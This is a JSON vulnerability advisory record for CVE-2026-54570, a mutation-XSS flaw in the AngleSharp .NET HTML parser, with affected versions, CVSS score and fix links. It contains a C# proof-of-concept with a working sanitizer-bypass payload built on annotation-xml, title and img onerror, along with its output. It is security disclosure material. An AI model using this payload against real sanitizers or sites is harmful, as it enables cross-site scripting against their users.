{"id":"CVE-2026-54570","aliases":["GHSA-pgww-w46g-26qg"],"url":"https://o3.security/vulnerability/CVE-2026-54570","summary":"AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass","details":"### Summary\nThe HTML specification requires that a MathML `<annotation-xml>` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"<\" and \">\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current — HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes & \" and \\u00A0, but NOT < or >\ncase Symbols.Ampersand:    stringBuilder.Append(\"&amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"&nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"&quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // < and > pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"<math>\" +\n        \"<annotation-xml encoding=\\\"text/html\\\">\" +\n        \"<title><a encoding=\\\"</title><img src=x onerror=alert()>\\\">\" +\n        \"</annotation-xml></math>\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found <img> – SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e => e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n<html><head></head><body><math><annotation-xml encoding=\"text/html\"><title><a encoding=\"</title><img src=x onerror=alert()>\"></a></title></annotation-xml></math></body></html>\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp's credibility as a conformant HTML parser.","published":"2026-08-18T17:39:51.827Z","modified":"2026-10-21T02:58:34.412519351Z","cvss":{"score":6.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N"},"epss":{"score":0.00246,"percentile":0.16149,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"NuGet","name":"AngleSharp","fixedVersion":"1.5.0"}],"fix":{"url":"https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07","label":"AngleSharp/AngleSharp@8033a5c"},"references":[{"type":"WEB","url":"https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"},{"type":"ADVISORY","url":"https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54570.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54570"},{"type":"FIX","url":"https://github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07"},{"type":"PACKAGE","url":"https://github.com/AngleSharp/AngleSharp"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:34.412519351Z"}}